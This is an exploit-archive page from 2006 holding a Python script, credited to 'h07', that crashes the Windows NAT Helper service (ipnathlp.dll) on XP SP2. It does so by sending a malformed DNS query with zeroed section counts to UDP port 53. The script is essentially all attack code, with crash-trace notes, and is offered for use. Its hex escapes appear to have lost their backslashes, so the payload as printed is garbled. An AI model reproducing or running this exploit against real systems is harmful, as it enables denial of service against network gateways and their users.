[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : MS Windows NAT Helper Components (ipnathlp.dll) Remote DoS Exploit
# Published : 2006-10-28
# Author : h07
# Previous Title : MS Windows NAT Helper Components Remote DoS Exploit (perl)
# Next Title : RevilloC MailServer 1.x (RCPT TO) Remote Denial of Service Exploit
#!/usr/bin/python
# Microsoft Windows NAT Helper Components (ipnathlp.dll) 0day Remote DoS Exploit
# Bug discovered by h07 <h07@interia.pl>
# Tested on XP SP2 Polish
# Details:
#
# Exploit(192.168.0.2) --> Microsoft NAT(192.168.0.1) --> [..Internet..]
#
# [Process svchost.exe, module ipnathlp]
# --> MOV DL, [EAX]
# Exception C0000005 (ACCESS_VIOLATION reading [00000000])
##
from socket import *
from time import sleep
host = "192.168.0.1"
port = 53
buffer = ( # DNS (query)
"x6cxb6" # Transaction ID: 0x6cb6
"x01x00" # Flags: 0x0100 (Standard query)
"x00x00" # Questions: 0
"x00x00" # Answer RRs: 0
"x00x00" # Authority RRs: 0
"x00x00" # Additional RRs: 0 <-- Bug is here (0, 0, 0, 0)
"x03x77x77x77" #
"x06x67x6fx6f" #
"x67x6cx65x03" #
"x63x6fx6dx00" # Name: www.google.com
"x00x01" # Type: A (Host address)
"x00x01" # Class: IN (0x0001)
)
s = socket(AF_INET, SOCK_DGRAM)
s.connect((host, port))
s.send(buffer)
sleep(1)
s.close()
# EoF
# www.Syue.com [2006-10-28]